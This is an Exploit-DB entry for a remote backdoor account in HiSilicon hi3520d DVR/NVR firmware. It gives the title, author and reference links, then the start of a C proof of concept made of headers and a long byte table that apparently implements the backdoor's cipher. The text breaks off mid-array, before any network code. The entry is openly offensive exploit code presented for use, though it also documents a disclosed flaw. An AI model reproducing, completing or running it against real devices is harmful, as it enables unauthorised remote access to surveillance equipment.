Exploit-DB #48004
Description: HiSilicon DVR/NVR hi3520d firmware - Remote Backdoor Account
Type: remote
Platform: hardware
Date: 2020-02-05
Author: Snawoot

Exploit:
# Exploit Title: HiSilicon DVR/NVR hi3520d firmware - Remote Backdoor Account 
# Dork: N/A
# Date: 2020-02-03
# Exploit Author: Snawoot
# Vendor Homepage: http://www.hisilicon.com
# Product Link: http://www.hisilicon.com/en/Products
# Version: hi3520d
# Tested on: Linux
# CVE: N/A
# References: https://habr.com/en/post/486856/
# References: https://github.com/Snawoot/hisilicon-dvr-telnet
# References: https://github.com/tothi/pwn-hisilicon-dvr#summary

# POC: 
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>

typedef unsigned char byte;
typedef unsigned int uint;

byte state[2048] = {0};
byte datum[] = {
    0x20, 0x01, 0x02, 0x03, 0x04, 0x05, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09,
    0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11,
    0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19,
    0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x01,
    0x0e, 0x04, 0x0d, 0x01, 0x02, 0x0f, 0x0b, 0x08, 0x03, 0x0a, 0x06, 0x0c,
    0x05, 0x09, 0x00, 0x07, 0x00, 0x0f, 0x07, 0x04, 0x0e, 0x02, 0x0d, 0x01,
    0x0a, 0x06, 0x0c, 0x0b, 0x09, 0x05, 0x03, 0x08, 0x04, 0x01, 0x0e, 0x08,
    0x0d, 0x06, 0x02, 0x0b, 0x0f, 0x0c, 0x09, 0x07, 0x03, 0x0a, 0x05, 0x00,
    0x0f, 0x0c, 0x08, 0x02, 0x04, 0x09, 0x01, 0x07, 0x05, 0x0b, 0x03, 0x0e,
    0x0a, 0x00, 0x06, 0x0d, 0x0f, 0x01, 0x08, 0x0e, 0x06, 0x0b, 0x03, 0x04,
    0x09, 0x07, 0x02, 0x0d, 0x0c, 0x00, 0x05, 0x0a, 0x03, 0x0d, 0x04, 0x07,
    0x0f, 0x02, 0x08, 0x0e, 0x0c, 0x00, 0x01, 0x0a, 0x06, 0x09, 0x0b, 0x05,
    0x00, 0x0e, 0x07, 0x0b, 0x0a, 0x04, 0x0d, 0x01, 0x05, 0x08, 0x0c, 0x06,
    0x09, 0x03, 0x02, 0x0f, 0x0d, 0x08, 0x0a, 0x01, 0x03, 0x0f, 0x04, 0x02,
    0x0b, 0x06, 0x07, 0x0c, 0x00, 0x05, 0x0e, 0x09, 0x0a, 0x00, 0x09, 0x0e,
    0x06, 0x03, 0x0f, 0x05, 0x01, 0x0d, 0x0c, 0x07, 0x0b, 0x04, 0x02, 0x08,
    0x0d, 0x07, 0x00, 0x09, 0x03, 0x04, 0x06, 0x0a, 0x02, 0x08, 0x05, 0x0e,
    0x0c, 0x0b, 0x0f, 0x01, 0x0d, 0x06, 0x04, 0x09, 0x08, 0x0f, 0x03, 0x00,
    0x0b, 0x01, 0x02, 0x0c, 0x05, 0x0a, 0x0e, 0x07, 0x01, 0x0a, 0x0d, 0x00,
    0x06, 0x09, 0x08, 0x07, 0x04, 0x0f, 0x0e, 0x03, 0x0b, 0x05, 0x02, 0x0c,
    0x07, 0x0d, 0x0e, 0x03, 0x00, 0x06, 0x09, 0x0a, 0x01, 0x02, 0x08, 0x05,
    0x0b, 0x0c, 0x04, 0x0f, 0x0d, 0x08, 0x0b, 0x05, 0x06, 0x0f, 0x00, 0x03,
    0x04, 0x07, 0x02, 0x0c, 0x01, 0x0a, 0x0e, 0x09, 0x0a, 0x06, 0x09, 0x00,
    0x0c, 0x0b, 0x07, 0x0d, 0x0f, 0x01, 0x03, 0x0e, 0x05, 0x02, 0x08, 0x04,
    0x03, 0x0f, 0x00, 0x06, 0x0a, 0x01, 0x0d, 0x08, 0x09, 0x04, 0x05, 0x0b,
    0x0c, 0x07, 0x02, 0x0e, 0x02, 0x0c, 0x04, 0x01, 0x07, 0x0a, 0x0b, 0x06,
    0x08, 0x05, 0x03, 0x0f, 0x0d, 0x00, 0x0e, 0x09, 0x0e, 0x0b, 0x02, 0x0c,
    0x04, 0x07, 0x0d, 0x01, 0x05, 0x00, 0x0f, 0x0a, 0x03, 0x09, 0x08, 0x06,
    0x04, 0x02, 0x01, 0x0b, 0x0a, 0x0d, 0x07, 0x08, 0x0f, 0x09, 0x0c, 0x05,
    0x06, 0x03, 0x00, 0x0e, 0x0b, 0x08, 0x0c, 0x07, 0x01, 0x0e, 0x02, 0x0d,
    0x06, 0x0f, 0x00, 0x09, 0x0a, 0x04, 0x05, 0x03, 0x0c, 0x01, 0x0a, 0x0f,
    0x09, 0x02, 0x06, 0x08, 0x00, 0x0d, 0x03, 0x04, 0x0e, 0x07, 0x05, 0x0b,
    0x0a, 0x0f, 0x04, 0x02, 0x07, 0x0c, 0x09, 0x05, 0x06, 0x01, 0x0d, 0x0e,
    0x00, 0x0b, 0x03, 0x08, 0x09, 0x0e, 0x0f, 0x05, 0x02, 0x08, 0x0c, 0x03,
    0x07, 0x00, 0x04, 0x0a, 0x01, 0x0d, 0x0b, 0x06, 0x04, 0x03, 0x02, 0x0c,
    0x09, 0x05, 0x0f, 0x0a, 0x0b, 0x0e, 0x01, 0x07, 0x06, 0x00, 0x08, 0x0d,
    0x04, 0x0b, 0x02, 0x0e, 0x0f, 0x00, 0x08, 0x0d, 0x03, 0x0c, 0x09, 0x07,
    0x05, 0x0a, 0x06, 0x01, 0x0d, 0x00, 0x0b, 0x07, 0x04, 0x09, 0x01, 0x0a,
    0x0e, 0x03, 0x05, 0x0c, 0x02, 0x0f, 0x08, 0x06, 0x01, 0x04, 0x0b, 0x0d,
    0x0c, 0x03, 0x07, 0x0e, 0x0a, 0x0f, 0x06, 0x08, 0x00, 0x05, 0x09, 0x02,
    0x06, 0x0b, 0x0d, 0x08, 0x01, 0x04, 0x0a, 0x07, 0x09, 0x05, 0x00, 0x0f,
    0x0e, 0x02, 0x03, 0x0c, 0x0d, 0x02, 0x08, 0x04, 0x06, 0x0f, 0x0b, 0x01,
    0x0a, 0x09, 0x03, 0x0e, 0x05, 0x00, 0x0c, 0x07, 0x01, 0x0f, 0x0d, 0x08,
    0x0a, 0x03, 0x07, 0x04, 0x0c, 0x05, 0x06, 0x0b, 0x00, 0x0e, 0x09, 0x02,
    0x07, 0x0b, 0x04, 0x01, 0x09, 0x0c, 0x0e, 0x02, 0x00, 0x06, 0x0a, 0x0d,
    0x0f, 0x03, 0x05, 0x08, 0x02, 0x01, 0x0e, 0x07, 0x04, 0x0a, 0x08, 0x0d,
    0x0f, 0x0c, 0x09, 0x00, 0x03, 0x05, 0x06, 0x0b, 0x10, 0x07, 0x14, 0x15,
    0x1d, 0x0c, 0x1c, 0x11, 0x01, 0x0f, 0x17, 0x1a, 0x05, 0x12, 0x1f, 0x0a,
    0x02, 0x08, 0x18, 0x0e, 0x20, 0x1b, 0x03, 0x09, 0x13, 0x0d, 0x1e, 0x06,
    0x16, 0x0b, 0x04, 0x19, 0x3a, 0x32, 0x2a, 0x22, 0x1a, 0x12, 0x0a, 0x02,
    0x3c, 0x34, 0x2c, 0x24, 0x1c, 0x14, 0x0c, 0x04, 0x3e, 0x36, 0x2e, 0x26,
    0x1e, 0x16, 0x0e, 0x06, 0x40, 0x38, 0x30, 0x28, 0x20, 0x18, 0x10, 0x08,
    0x39, 0x31, 0x29, 0x21, 0x19, 0x11, 0x09, 0x01, 0x3b, 0x33, 0x2b, 0x23,
    0x1b, 0x13, 0x0b, 0x03, 0x3d, 0x35, 0x2d, 0x25, 0x1d, 0x15, 0x0d, 0x05,
    0x3f, 0x37, 0x2f, 0x27, 0x1f, 0x17, 0x0f, 0x07, 0xf4, 0x63, 0x01, 0x00,
    0x28, 0x08, 0x30, 0x10, 0x38, 0x18, 0x40, 0x20, 0x27, 0x07, 0x2f, 0x0f,
    0x37, 0x17, 0x3f, 0x1f, 0x26, 0x06, 0x2e, 0x0e, 0x36, 0x16, 0x3e, 0x1e,
    0x25, 0x05, 0x2d, 0x0d, 0x35, 0x15, 0x3d, 0x1d, 0x24, 0x04, 0x2c, 0x0c,
    0x34, 0x14, 0x3c, 0x1c, 0x23, 0x03, 0x2b, 0x0b, 0x33, 0x13, 0x3b, 0x1b,
    0x22, 0x02, 0x2a, 0x0a, 0x32, 0x12, 0x3a, 0x1a, 0x21, 0x01, 0x29, 0x09,
    0x31, 0x11, 0x39, 0x19, 0x39, 0x31, 0x29, 0x21, 0x19, 0x11, 0x09, 0x01,
    0x3a, 0x32, 0x2a, 0x22, 0x1a, 0x12, 0x0a, 0x02, 0x3b, 0x33, 0x2b, 0x23,
    0x1b, 0x13, 0x0b, 0x03, 0x3c, 0x34, 0x2c, 0x24, 0x3f, 0x37, 0x2f, 0x27,
    0x1f, 0x17, 0x0f, 0x07, 0x3e, 0x36, 0x2e, 0x26, 0x1e, 0x16, 0x0e, 0x06,
    0x3d, 0x35, 0x2d, 0x25, 0x1d, 0x15, 0x0d, 0x05, 0x1c, 0x14, 0x0c, 0x04,
    0x50, 0x64, 0x01, 0x00, 0x01, 0x01, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02,
    0x01, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x01, 0x0e, 0x11, 0x0b, 0x18,
    0x01, 0x05, 0x03, 0x1c, 0x0f, 0x06, 0x15, 0x0a, 0x17, 0x13, 0x0c, 0x04,
    0